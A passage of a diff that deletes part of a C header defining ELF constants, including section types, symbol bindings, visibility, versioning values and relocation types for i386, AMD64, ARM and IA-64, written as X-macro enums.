-_ELF_DEFINE_SHN(SHN_HIRESERVE, 	0xFFFFU, "end of reserved area")
-
-#undef	_ELF_DEFINE_SHN
-#define	_ELF_DEFINE_SHN(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_SECTION_INDICES()
-	SHN__LAST__
-};
-
-/*
- * Section types.
- */
-
-#define	_ELF_DEFINE_SECTION_TYPES()					\
-_ELF_DEFINE_SHT(SHT_NULL,            0, "inactive header")		\
-_ELF_DEFINE_SHT(SHT_PROGBITS,        1, "program defined information")	\
-_ELF_DEFINE_SHT(SHT_SYMTAB,          2, "symbol table")			\
-_ELF_DEFINE_SHT(SHT_STRTAB,          3, "string table")			\
-_ELF_DEFINE_SHT(SHT_RELA,            4,					\
-	"relocation entries with addends")				\
-_ELF_DEFINE_SHT(SHT_HASH,            5, "symbol hash table")		\
-_ELF_DEFINE_SHT(SHT_DYNAMIC,         6,					\
-	"information for dynamic linking")				\
-_ELF_DEFINE_SHT(SHT_NOTE,            7, "additional notes")		\
-_ELF_DEFINE_SHT(SHT_NOBITS,          8, "section occupying no space")	\
-_ELF_DEFINE_SHT(SHT_REL,             9,					\
-	"relocation entries without addends")				\
-_ELF_DEFINE_SHT(SHT_SHLIB,           10, "reserved")			\
-_ELF_DEFINE_SHT(SHT_DYNSYM,          11, "symbol table")		\
-_ELF_DEFINE_SHT(SHT_INIT_ARRAY,      14,				\
-	"pointers to initialization functions")				\
-_ELF_DEFINE_SHT(SHT_FINI_ARRAY,      15,				\
-	"pointers to termination functions")				\
-_ELF_DEFINE_SHT(SHT_PREINIT_ARRAY,   16,				\
-	"pointers to functions called before initialization")		\
-_ELF_DEFINE_SHT(SHT_GROUP,           17, "defines a section group")	\
-_ELF_DEFINE_SHT(SHT_SYMTAB_SHNDX,    18,				\
-	"used for extended section numbering")				\
-_ELF_DEFINE_SHT(SHT_LOOS,            0x60000000UL,			\
-	"start of OS-specific range")					\
-_ELF_DEFINE_SHT(SHT_SUNW_dof,	     0x6FFFFFF4UL,			\
-	"used by dtrace")						\
-_ELF_DEFINE_SHT(SHT_SUNW_cap,	     0x6FFFFFF5UL,			\
-	"capability requirements")					\
-_ELF_DEFINE_SHT(SHT_GNU_ATTRIBUTES,  0x6FFFFFF5UL,			\
-	"object attributes")						\
-_ELF_DEFINE_SHT(SHT_SUNW_SIGNATURE,  0x6FFFFFF6UL,			\
-	"module verification signature")				\
-_ELF_DEFINE_SHT(SHT_GNU_HASH,	     0x6FFFFFF6UL,			\
-	"GNU Hash sections")						\
-_ELF_DEFINE_SHT(SHT_GNU_LIBLIST,     0x6FFFFFF7UL,			\
-	"List of libraries to be prelinked")				\
-_ELF_DEFINE_SHT(SHT_SUNW_ANNOTATE,   0x6FFFFFF7UL,			\
-	"special section where unresolved references are allowed")	\
-_ELF_DEFINE_SHT(SHT_SUNW_DEBUGSTR,   0x6FFFFFF8UL,			\
-	"debugging information")					\
-_ELF_DEFINE_SHT(SHT_CHECKSUM, 	     0x6FFFFFF8UL,			\
-	"checksum for dynamic shared objects")				\
-_ELF_DEFINE_SHT(SHT_SUNW_DEBUG,      0x6FFFFFF9UL,			\
-	"debugging information")					\
-_ELF_DEFINE_SHT(SHT_SUNW_move,       0x6FFFFFFAUL,			\
-	"information to handle partially initialized symbols")		\
-_ELF_DEFINE_SHT(SHT_SUNW_COMDAT,     0x6FFFFFFBUL,			\
-	"section supporting merging of multiple copies of data")	\
-_ELF_DEFINE_SHT(SHT_SUNW_syminfo,    0x6FFFFFFCUL,			\
-	"additional symbol information")				\
-_ELF_DEFINE_SHT(SHT_SUNW_verdef,     0x6FFFFFFDUL,			\
-	"symbol versioning information")				\
-_ELF_DEFINE_SHT(SHT_SUNW_verneed,    0x6FFFFFFEUL,			\
-	"symbol versioning requirements")				\
-_ELF_DEFINE_SHT(SHT_SUNW_versym,     0x6FFFFFFFUL,			\
-	"symbol versioning table")					\
-_ELF_DEFINE_SHT(SHT_HIOS,            0x6FFFFFFFUL,			\
-	"end of OS-specific range")					\
-_ELF_DEFINE_SHT(SHT_LOPROC,          0x70000000UL,			\
-	"start of processor-specific range")				\
-_ELF_DEFINE_SHT(SHT_ARM_EXIDX,       0x70000001UL,			\
-	"exception index table")					\
-_ELF_DEFINE_SHT(SHT_ARM_PREEMPTMAP,  0x70000002UL,			\
-	"BPABI DLL dynamic linking preemption map")			\
-_ELF_DEFINE_SHT(SHT_ARM_ATTRIBUTES,  0x70000003UL,			\
-	"object file compatibility attributes")				\
-_ELF_DEFINE_SHT(SHT_ARM_DEBUGOVERLAY, 0x70000004UL,			\
-	"overlay debug information")					\
-_ELF_DEFINE_SHT(SHT_ARM_OVERLAYSECTION, 0x70000005UL,			\
-	"overlay debug information")					\
-_ELF_DEFINE_SHT(SHT_MIPS_LIBLIST,    0x70000000UL,			\
-	"DSO library information used in link")				\
-_ELF_DEFINE_SHT(SHT_MIPS_MSYM,       0x70000001UL,			\
-	"MIPS symbol table extension")					\
-_ELF_DEFINE_SHT(SHT_MIPS_CONFLICT,   0x70000002UL,			\
-	"symbol conflicting with DSO-defined symbols ")			\
-_ELF_DEFINE_SHT(SHT_MIPS_GPTAB,      0x70000003UL,			\
-	"global pointer table")						\
-_ELF_DEFINE_SHT(SHT_MIPS_UCODE,      0x70000004UL,			\
-	"reserved")							\
-_ELF_DEFINE_SHT(SHT_MIPS_DEBUG,      0x70000005UL,			\
-	"reserved (obsolete debug information)")			\
-_ELF_DEFINE_SHT(SHT_MIPS_REGINFO,    0x70000006UL,			\
-	"register usage information")					\
-_ELF_DEFINE_SHT(SHT_MIPS_PACKAGE,    0x70000007UL,			\
-	"OSF reserved")							\
-_ELF_DEFINE_SHT(SHT_MIPS_PACKSYM,    0x70000008UL,			\
-	"OSF reserved")							\
-_ELF_DEFINE_SHT(SHT_MIPS_RELD,       0x70000009UL,			\
-	"dynamic relocation")						\
-_ELF_DEFINE_SHT(SHT_MIPS_IFACE,      0x7000000BUL,			\
-	"subprogram interface information")				\
-_ELF_DEFINE_SHT(SHT_MIPS_CONTENT,    0x7000000CUL,			\
-	"section content classification")				\
-_ELF_DEFINE_SHT(SHT_MIPS_OPTIONS,     0x7000000DUL,			\
-	"general options")						\
-_ELF_DEFINE_SHT(SHT_MIPS_DELTASYM,   0x7000001BUL,			\
-	"Delta C++: symbol table")					\
-_ELF_DEFINE_SHT(SHT_MIPS_DELTAINST,  0x7000001CUL,			\
-	"Delta C++: instance table")					\
-_ELF_DEFINE_SHT(SHT_MIPS_DELTACLASS, 0x7000001DUL,			\
-	"Delta C++: class table")					\
-_ELF_DEFINE_SHT(SHT_MIPS_DWARF,      0x7000001EUL,			\
-	"DWARF debug information")					\
-_ELF_DEFINE_SHT(SHT_MIPS_DELTADECL,  0x7000001FUL,			\
-	"Delta C++: declarations")					\
-_ELF_DEFINE_SHT(SHT_MIPS_SYMBOL_LIB, 0x70000020UL,			\
-	"symbol-to-library mapping")					\
-_ELF_DEFINE_SHT(SHT_MIPS_EVENTS,     0x70000021UL,			\
-	"event locations")						\
-_ELF_DEFINE_SHT(SHT_MIPS_TRANSLATE,  0x70000022UL,			\
-	"???")								\
-_ELF_DEFINE_SHT(SHT_MIPS_PIXIE,      0x70000023UL,			\
-	"special pixie sections")					\
-_ELF_DEFINE_SHT(SHT_MIPS_XLATE,      0x70000024UL,			\
-	"address translation table")					\
-_ELF_DEFINE_SHT(SHT_MIPS_XLATE_DEBUG, 0x70000025UL,			\
-	"SGI internal address translation table")			\
-_ELF_DEFINE_SHT(SHT_MIPS_WHIRL,      0x70000026UL,			\
-	"intermediate code")						\
-_ELF_DEFINE_SHT(SHT_MIPS_EH_REGION,  0x70000027UL,			\
-	"C++ exception handling region info")				\
-_ELF_DEFINE_SHT(SHT_MIPS_XLATE_OLD,  0x70000028UL,			\
-	"obsolete")							\
-_ELF_DEFINE_SHT(SHT_MIPS_PDR_EXCEPTION, 0x70000029UL,			\
-	"runtime procedure descriptor table exception information")	\
-_ELF_DEFINE_SHT(SHT_SPARC_GOTDATA,   0x70000000UL,			\
-	"SPARC-specific data")						\
-_ELF_DEFINE_SHT(SHT_AMD64_UNWIND,    0x70000001UL,			\
-	"unwind tables for the AMD64")					\
-_ELF_DEFINE_SHT(SHT_ORDERED,         0x7FFFFFFFUL,			\
-	"sort entries in the section")					\
-_ELF_DEFINE_SHT(SHT_HIPROC,          0x7FFFFFFFUL,			\
-	"end of processor-specific range")				\
-_ELF_DEFINE_SHT(SHT_LOUSER,          0x80000000UL,			\
-	"start of application-specific range")				\
-_ELF_DEFINE_SHT(SHT_HIUSER,          0xFFFFFFFFUL,			\
-	"end of application-specific range")
-
-#undef	_ELF_DEFINE_SHT
-#define	_ELF_DEFINE_SHT(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_SECTION_TYPES()
-	SHT__LAST__ = SHT_HIUSER
-};
-
-/* Aliases for section types. */
-#define	SHT_GNU_verdef		SHT_SUNW_verdef
-#define	SHT_GNU_verneed		SHT_SUNW_verneed
-#define	SHT_GNU_versym		SHT_SUNW_versym
-
-/*
- * Symbol binding information.
- */
-
-#define	_ELF_DEFINE_SYMBOL_BINDING()					\
-_ELF_DEFINE_STB(STB_LOCAL,           0,					\
-	"not visible outside defining object file")			\
-_ELF_DEFINE_STB(STB_GLOBAL,          1,					\
-	"visible across all object files being combined")		\
-_ELF_DEFINE_STB(STB_WEAK,            2,					\
-	"visible across all object files but with low precedence")	\
-_ELF_DEFINE_STB(STB_LOOS,            10, "start of OS-specific range")	\
-_ELF_DEFINE_STB(STB_HIOS,            12, "end of OS-specific range")	\
-_ELF_DEFINE_STB(STB_LOPROC,          13,				\
-	"start of processor-specific range")				\
-_ELF_DEFINE_STB(STB_HIPROC,          15,				\
-	"end of processor-specific range")
-
-#undef	_ELF_DEFINE_STB
-#define	_ELF_DEFINE_STB(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_SYMBOL_BINDING()
-	STB__LAST__
-};
-
-/*
- * Symbol types
- */
-
-#define	_ELF_DEFINE_SYMBOL_TYPES()					\
-_ELF_DEFINE_STT(STT_NOTYPE,          0, "unspecified type")		\
-_ELF_DEFINE_STT(STT_OBJECT,          1, "data object")			\
-_ELF_DEFINE_STT(STT_FUNC,            2, "executable code")		\
-_ELF_DEFINE_STT(STT_SECTION,         3, "section")			\
-_ELF_DEFINE_STT(STT_FILE,            4, "source file")			\
-_ELF_DEFINE_STT(STT_COMMON,          5, "uninitialized common block")	\
-_ELF_DEFINE_STT(STT_TLS,             6, "thread local storage")		\
-_ELF_DEFINE_STT(STT_LOOS,            10, "start of OS-specific types")	\
-_ELF_DEFINE_STT(STT_HIOS,            12, "end of OS-specific types")	\
-_ELF_DEFINE_STT(STT_LOPROC,          13,				\
-	"start of processor-specific types")				\
-_ELF_DEFINE_STT(STT_ARM_TFUNC,       13, "Thumb function (GNU)")	\
-_ELF_DEFINE_STT(STT_ARM_16BIT,       15, "Thumb label (GNU)")		\
-_ELF_DEFINE_STT(STT_HIPROC,          15,				\
-	"end of processor-specific types")
-
-#undef	_ELF_DEFINE_STT
-#define	_ELF_DEFINE_STT(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_SYMBOL_TYPES()
-	STT__LAST__
-};
-
-/*
- * Symbol binding.
- */
-
-#define	_ELF_DEFINE_SYMBOL_BINDING_KINDS()		\
-_ELF_DEFINE_SYB(SYMINFO_BT_SELF,	0xFFFFU,	\
-	"bound to self")				\
-_ELF_DEFINE_SYB(SYMINFO_BT_PARENT,	0xFFFEU,	\
-	"bound to parent")				\
-_ELF_DEFINE_SYB(SYMINFO_BT_NONE,	0xFFFDU,	\
-	"no special binding")
-
-#undef	_ELF_DEFINE_SYB
-#define	_ELF_DEFINE_SYB(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_SYMBOL_BINDING_KINDS()
-	SYMINFO__LAST__
-};
-
-/*
- * Symbol visibility.
- */
-
-#define	_ELF_DEFINE_SYMBOL_VISIBILITY()		\
-_ELF_DEFINE_STV(STV_DEFAULT,         0,		\
-	"as specified by symbol type")		\
-_ELF_DEFINE_STV(STV_INTERNAL,        1,		\
-	"as defined by processor semantics")	\
-_ELF_DEFINE_STV(STV_HIDDEN,          2,		\
-	"hidden from other components")		\
-_ELF_DEFINE_STV(STV_PROTECTED,       3,		\
-	"local references are not preemptable")
-
-#undef	_ELF_DEFINE_STV
-#define	_ELF_DEFINE_STV(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_SYMBOL_VISIBILITY()
-	STV__LAST__
-};
-
-/*
- * Symbol flags.
- */
-#define	_ELF_DEFINE_SYMBOL_FLAGS()		\
-_ELF_DEFINE_SYF(SYMINFO_FLG_DIRECT,	0x01,	\
-	"directly assocated reference")		\
-_ELF_DEFINE_SYF(SYMINFO_FLG_COPY,	0x04,	\
-	"definition by copy-relocation")	\
-_ELF_DEFINE_SYF(SYMINFO_FLG_LAZYLOAD,	0x08,	\
-	"object should be lazily loaded")	\
-_ELF_DEFINE_SYF(SYMINFO_FLG_DIRECTBIND,	0x10,	\
-	"reference should be directly bound")	\
-_ELF_DEFINE_SYF(SYMINFO_FLG_NOEXTDIRECT, 0x20,	\
-	"external references not allowed to bind to definition")
-
-#undef	_ELF_DEFINE_SYF
-#define	_ELF_DEFINE_SYF(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_SYMBOL_FLAGS()
-	SYMINFO_FLG__LAST__
-};
-
-/*
- * Version dependencies.
- */
-#define	_ELF_DEFINE_VERSIONING_DEPENDENCIES()			\
-_ELF_DEFINE_VERD(VER_NDX_LOCAL,		0,	"local scope")	\
-_ELF_DEFINE_VERD(VER_NDX_GLOBAL,	1,	"global scope")
-#undef	_ELF_DEFINE_VERD
-#define	_ELF_DEFINE_VERD(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_VERSIONING_DEPENDENCIES()
-	VER_NDX__LAST__
-};
-
-/*
- * Version flags.
- */
-#define	_ELF_DEFINE_VERSIONING_FLAGS()				\
-_ELF_DEFINE_VERF(VER_FLG_BASE,		0x1,	"file version") \
-_ELF_DEFINE_VERF(VER_FLG_WEAK,		0x2,	"weak version")
-#undef	_ELF_DEFINE_VERF
-#define	_ELF_DEFINE_VERF(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_VERSIONING_FLAGS()
-	VER_FLG__LAST__
-};
-
-/*
- * Version needs
- */
-#define	_ELF_DEFINE_VERSIONING_NEEDS()					\
-_ELF_DEFINE_VRN(VER_NEED_NONE,		0,	"invalid version")	\
-_ELF_DEFINE_VRN(VER_NEED_CURRENT,	1,	"current version")
-#undef	_ELF_DEFINE_VRN
-#define	_ELF_DEFINE_VRN(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_VERSIONING_NEEDS()
-	VER_NEED__LAST__
-};
-
-/*
- * Version numbers.
- */
-#define	_ELF_DEFINE_VERSIONING_NUMBERS()				\
-_ELF_DEFINE_VRNU(VER_DEF_NONE,		0,	"invalid version")	\
-_ELF_DEFINE_VRNU(VER_DEF_CURRENT,	1, 	"current version")
-#undef	_ELF_DEFINE_VRNU
-#define	_ELF_DEFINE_VRNU(N, V, DESCR)	N = V ,
-enum {
-	_ELF_DEFINE_VERSIONING_NUMBERS()
-	VER_DEF__LAST__
-};
-
-/**
- ** Relocation types.
- **/
-
-#define	_ELF_DEFINE_386_RELOCATIONS()		\
-_ELF_DEFINE_RELOC(R_386_NONE,		0)	\
-_ELF_DEFINE_RELOC(R_386_32,		1)	\
-_ELF_DEFINE_RELOC(R_386_PC32,		2)	\
-_ELF_DEFINE_RELOC(R_386_GOT32,		3)	\
-_ELF_DEFINE_RELOC(R_386_PLT32,		4)	\
-_ELF_DEFINE_RELOC(R_386_COPY,		5)	\
-_ELF_DEFINE_RELOC(R_386_GLOB_DAT,	6)	\
-_ELF_DEFINE_RELOC(R_386_JMP_SLOT,	7)	\
-_ELF_DEFINE_RELOC(R_386_RELATIVE,	8)	\
-_ELF_DEFINE_RELOC(R_386_GOTOFF,		9)	\
-_ELF_DEFINE_RELOC(R_386_GOTPC,		10)	\
-_ELF_DEFINE_RELOC(R_386_32PLT,		11)	\
-_ELF_DEFINE_RELOC(R_386_16,		20)	\
-_ELF_DEFINE_RELOC(R_386_PC16,		21)	\
-_ELF_DEFINE_RELOC(R_386_8,		22)	\
-_ELF_DEFINE_RELOC(R_386_PC8,		23)
-
-/*
- * These are the symbols used in the Sun ``Linkers and Loaders
- * Guide'', Document No: 817-1984-17.  See the X86_64 relocations list
- * below for the spellings used in the ELF specification.
- */
-#define	_ELF_DEFINE_AMD64_RELOCATIONS()		\
-_ELF_DEFINE_RELOC(R_AMD64_NONE,		0)	\
-_ELF_DEFINE_RELOC(R_AMD64_64,		1)	\
-_ELF_DEFINE_RELOC(R_AMD64_PC32,		2)	\
-_ELF_DEFINE_RELOC(R_AMD64_GOT32,	3)	\
-_ELF_DEFINE_RELOC(R_AMD64_PLT32,	4)	\
-_ELF_DEFINE_RELOC(R_AMD64_COPY,		5)	\
-_ELF_DEFINE_RELOC(R_AMD64_GLOB_DAT,	6)	\
-_ELF_DEFINE_RELOC(R_AMD64_JUMP_SLOT,	7)	\
-_ELF_DEFINE_RELOC(R_AMD64_RELATIVE,	8)	\
-_ELF_DEFINE_RELOC(R_AMD64_GOTPCREL,	9)	\
-_ELF_DEFINE_RELOC(R_AMD64_32,		10)	\
-_ELF_DEFINE_RELOC(R_AMD64_32S,		11)	\
-_ELF_DEFINE_RELOC(R_AMD64_16,		12)	\
-_ELF_DEFINE_RELOC(R_AMD64_PC16,		13)	\
-_ELF_DEFINE_RELOC(R_AMD64_8,		14)	\
-_ELF_DEFINE_RELOC(R_AMD64_PC8,		15)	\
-_ELF_DEFINE_RELOC(R_AMD64_PC64,		24)	\
-_ELF_DEFINE_RELOC(R_AMD64_GOTOFF64,	25)	\
-_ELF_DEFINE_RELOC(R_AMD64_GOTPC32,	26)
-
-#define	_ELF_DEFINE_ARM_RELOCATIONS()			\
-_ELF_DEFINE_RELOC(R_ARM_NONE,			0)	\
-_ELF_DEFINE_RELOC(R_ARM_PC24,			1)	\
-_ELF_DEFINE_RELOC(R_ARM_ABS32,			2)	\
-_ELF_DEFINE_RELOC(R_ARM_REL32,			3)	\
-_ELF_DEFINE_RELOC(R_ARM_LDR_PC_G0,		4)	\
-_ELF_DEFINE_RELOC(R_ARM_ABS16,			5)	\
-_ELF_DEFINE_RELOC(R_ARM_ABS12,			6)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_ABS5,		7)	\
-_ELF_DEFINE_RELOC(R_ARM_ABS8,			8)	\
-_ELF_DEFINE_RELOC(R_ARM_SBREL32,		9)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_CALL,		10)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_PC8,		11)	\
-_ELF_DEFINE_RELOC(R_ARM_BREL_ADJ,		12)	\
-_ELF_DEFINE_RELOC(R_ARM_SWI24,			13)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_SWI8,		14)	\
-_ELF_DEFINE_RELOC(R_ARM_XPC25,			15)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_XPC22,		16)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_DTPMOD32,		17)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_DTPOFF32,		18)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_TPOFF32,		19)	\
-_ELF_DEFINE_RELOC(R_ARM_COPY,			20)	\
-_ELF_DEFINE_RELOC(R_ARM_GLOB_DAT,		21)	\
-_ELF_DEFINE_RELOC(R_ARM_JUMP_SLOT,		22)	\
-_ELF_DEFINE_RELOC(R_ARM_RELATIVE,		23)	\
-_ELF_DEFINE_RELOC(R_ARM_GOTOFF32,		24)	\
-_ELF_DEFINE_RELOC(R_ARM_BASE_PREL,		25)	\
-_ELF_DEFINE_RELOC(R_ARM_GOT_BREL,		26)	\
-_ELF_DEFINE_RELOC(R_ARM_PLT32,			27)	\
-_ELF_DEFINE_RELOC(R_ARM_CALL,			28)	\
-_ELF_DEFINE_RELOC(R_ARM_JUMP24,			29)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_JUMP24,		30)	\
-_ELF_DEFINE_RELOC(R_ARM_BASE_ABS,		31)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_PCREL7_0,		32)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_PCREL15_8,		33)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_PCREL23_15,		34)	\
-_ELF_DEFINE_RELOC(R_ARM_LDR_SBREL_11_0,		35)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_SBREL_19_12,	36)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_SBREL_27_20,	37)	\
-_ELF_DEFINE_RELOC(R_ARM_TARGET1,		38)	\
-_ELF_DEFINE_RELOC(R_ARM_SBREL31,		39)	\
-_ELF_DEFINE_RELOC(R_ARM_V4BX,			40)	\
-_ELF_DEFINE_RELOC(R_ARM_TARGET2,		41)	\
-_ELF_DEFINE_RELOC(R_ARM_PREL31,			42)	\
-_ELF_DEFINE_RELOC(R_ARM_MOVW_ABS_NC,		43)	\
-_ELF_DEFINE_RELOC(R_ARM_MOVT_ABS,		44)	\
-_ELF_DEFINE_RELOC(R_ARM_MOVW_PREL_NC,		45)	\
-_ELF_DEFINE_RELOC(R_ARM_MOVT_PREL,		46)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_MOVW_ABS_NC,	47)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_MOVT_ABS,		48)	\
-_ELF_DEFINE_RELOC(R_ARM_MOVW_PREL_NC,		49)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_MOVT_PREL,		50)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_JUMP19,		51)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_JUMP6,		52)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_ALU_PREL_11_0,	53)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_PC12,		54)	\
-_ELF_DEFINE_RELOC(R_ARM_ABS32_NOI,		55)	\
-_ELF_DEFINE_RELOC(R_ARM_REL32_NOI,		56)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_PC_G0_NC,		57)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_PC_G0,		58)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_PC_G1_NC,		59)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_PC_G1,		60)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_PC_G2,		61)	\
-_ELF_DEFINE_RELOC(R_ARM_LDR_PC_G1,		62)	\
-_ELF_DEFINE_RELOC(R_ARM_LDR_PC_G2,		63)	\
-_ELF_DEFINE_RELOC(R_ARM_LDRS_PC_G0,		64)	\
-_ELF_DEFINE_RELOC(R_ARM_LDRS_PC_G1,		65)	\
-_ELF_DEFINE_RELOC(R_ARM_LDRS_PC_G2,		66)	\
-_ELF_DEFINE_RELOC(R_ARM_LDC_PC_G0,		67)	\
-_ELF_DEFINE_RELOC(R_ARM_LDC_PC_G1,		68)	\
-_ELF_DEFINE_RELOC(R_ARM_LDC_PC_G2,		69)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_SB_G0_NC,		70)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_SB_G0,		71)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_SB_G1_NC,		72)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_SB_G1,		73)	\
-_ELF_DEFINE_RELOC(R_ARM_ALU_SB_G2,		74)	\
-_ELF_DEFINE_RELOC(R_ARM_LDR_SB_G0,		75)	\
-_ELF_DEFINE_RELOC(R_ARM_LDR_SB_G1,		76)	\
-_ELF_DEFINE_RELOC(R_ARM_LDR_SB_G2,		77)	\
-_ELF_DEFINE_RELOC(R_ARM_LDRS_SB_G0,		78)	\
-_ELF_DEFINE_RELOC(R_ARM_LDRS_SB_G1,		79)	\
-_ELF_DEFINE_RELOC(R_ARM_LDRS_SB_G2,		80)	\
-_ELF_DEFINE_RELOC(R_ARM_LDC_SB_G0,		81)	\
-_ELF_DEFINE_RELOC(R_ARM_LDC_SB_G1,		82)	\
-_ELF_DEFINE_RELOC(R_ARM_LDC_SB_G2,		83)	\
-_ELF_DEFINE_RELOC(R_ARM_MOVW_BREL_NC,		84)	\
-_ELF_DEFINE_RELOC(R_ARM_MOVT_BREL,		85)	\
-_ELF_DEFINE_RELOC(R_ARM_MOVW_BREL,		86)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_MOVW_BREL_NC,	87)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_MOVT_BREL,		88)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_MOVW_BREL,		89)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_GOTDESC,		90)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_CALL,		91)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_DESCSEQ,		92)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_TLS_CALL,		93)	\
-_ELF_DEFINE_RELOC(R_ARM_PLT32_ABS,		94)	\
-_ELF_DEFINE_RELOC(R_ARM_GOT_ABS,		95)	\
-_ELF_DEFINE_RELOC(R_ARM_GOT_PREL,		96)	\
-_ELF_DEFINE_RELOC(R_ARM_GOT_BREL12,		97)	\
-_ELF_DEFINE_RELOC(R_ARM_GOTOFF12,		98)	\
-_ELF_DEFINE_RELOC(R_ARM_GOTRELAX,		99)	\
-_ELF_DEFINE_RELOC(R_ARM_GNU_VTENTRY,		100)	\
-_ELF_DEFINE_RELOC(R_ARM_GNU_VTINHERIT,		101)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_JUMP11,		102)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_JUMP8,		103)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_GD32,		104)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_LDM32,		105)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_LDO32,		106)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_IE32,		107)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_LE32,		108)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_LDO12,		109)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_LE12,		110)	\
-_ELF_DEFINE_RELOC(R_ARM_TLS_IE12GP,		111)	\
-_ELF_DEFINE_RELOC(R_ARM_ME_TOO,			128)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_TLS_DESCSEQ16,	129)	\
-_ELF_DEFINE_RELOC(R_ARM_THM_TLS_DESCSEQ32,	130)
-
-#define	_ELF_DEFINE_IA64_RELOCATIONS()			\
-_ELF_DEFINE_RELOC(R_IA_64_NONE,			0)	\
-_ELF_DEFINE_RELOC(R_IA_64_IMM14,		0x21)	\
-_ELF_DEFINE_RELOC(R_IA_64_IMM22,		0x22)	\
-_ELF_DEFINE_RELOC(R_IA_64_IMM64,		0x23)	\
-_ELF_DEFINE_RELOC(R_IA_64_DIR32MSB,		0x24)	\
-_ELF_DEFINE_RELOC(R_IA_64_DIR32LSB,		0x25)	\
-_ELF_DEFINE_RELOC(R_IA_64_DIR64MSB,		0x26)	\
-_ELF_DEFINE_RELOC(R_IA_64_DIR64LSB,		0x27)	\
-_ELF_DEFINE_RELOC(R_IA_64_GPREL22,		0x2a)	\
-_ELF_DEFINE_RELOC(R_IA_64_GPREL64I,		0x2b)	\
-_ELF_DEFINE_RELOC(R_IA_64_GPREL32MSB,		0x2c)	\
-_ELF_DEFINE_RELOC(R_IA_64_GPREL32LSB,		0x2d)	\
-_ELF_DEFINE_RELOC(R_IA_64_GPREL64MSB,		0x2e)	\
-_ELF_DEFINE_RELOC(R_IA_64_GPREL64LSB,		0x2f)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTOFF22,		0x32)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTOFF64I,		0x33)	\
-_ELF_DEFINE_RELOC(R_IA_64_PLTOFF22,		0x3a)	\
-_ELF_DEFINE_RELOC(R_IA_64_PLTOFF64I,		0x3b)	\
-_ELF_DEFINE_RELOC(R_IA_64_PLTOFF64MSB,		0x3e)	\
-_ELF_DEFINE_RELOC(R_IA_64_PLTOFF64LSB,		0x3f)	\
-_ELF_DEFINE_RELOC(R_IA_64_FPTR64I,		0x43)	\
-_ELF_DEFINE_RELOC(R_IA_64_FPTR32MSB,		0x44)	\
-_ELF_DEFINE_RELOC(R_IA_64_FPTR32LSB,		0x45)	\
-_ELF_DEFINE_RELOC(R_IA_64_FPTR64MSB,		0x46)	\
-_ELF_DEFINE_RELOC(R_IA_64_FPTR64LSB,		0x47)	\
-_ELF_DEFINE_RELOC(R_IA_64_PCREL60B,		0x48)	\
-_ELF_DEFINE_RELOC(R_IA_64_PCREL21B,		0x49)	\
-_ELF_DEFINE_RELOC(R_IA_64_PCREL21M,		0x4a)	\
-_ELF_DEFINE_RELOC(R_IA_64_PCREL21F,		0x4b)	\
-_ELF_DEFINE_RELOC(R_IA_64_PCREL32MSB,		0x4c)	\
-_ELF_DEFINE_RELOC(R_IA_64_PCREL32LSB,		0x4d)	\
-_ELF_DEFINE_RELOC(R_IA_64_PCREL64MSB,		0x4e)	\
-_ELF_DEFINE_RELOC(R_IA_64_PCREL64LSB,		0x4f)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTOFF_FPTR22,		0x52)	\
-_ELF_DEFINE_RELOC(R_IA_64_LTOFF_FPTR64I,	0x53)	\
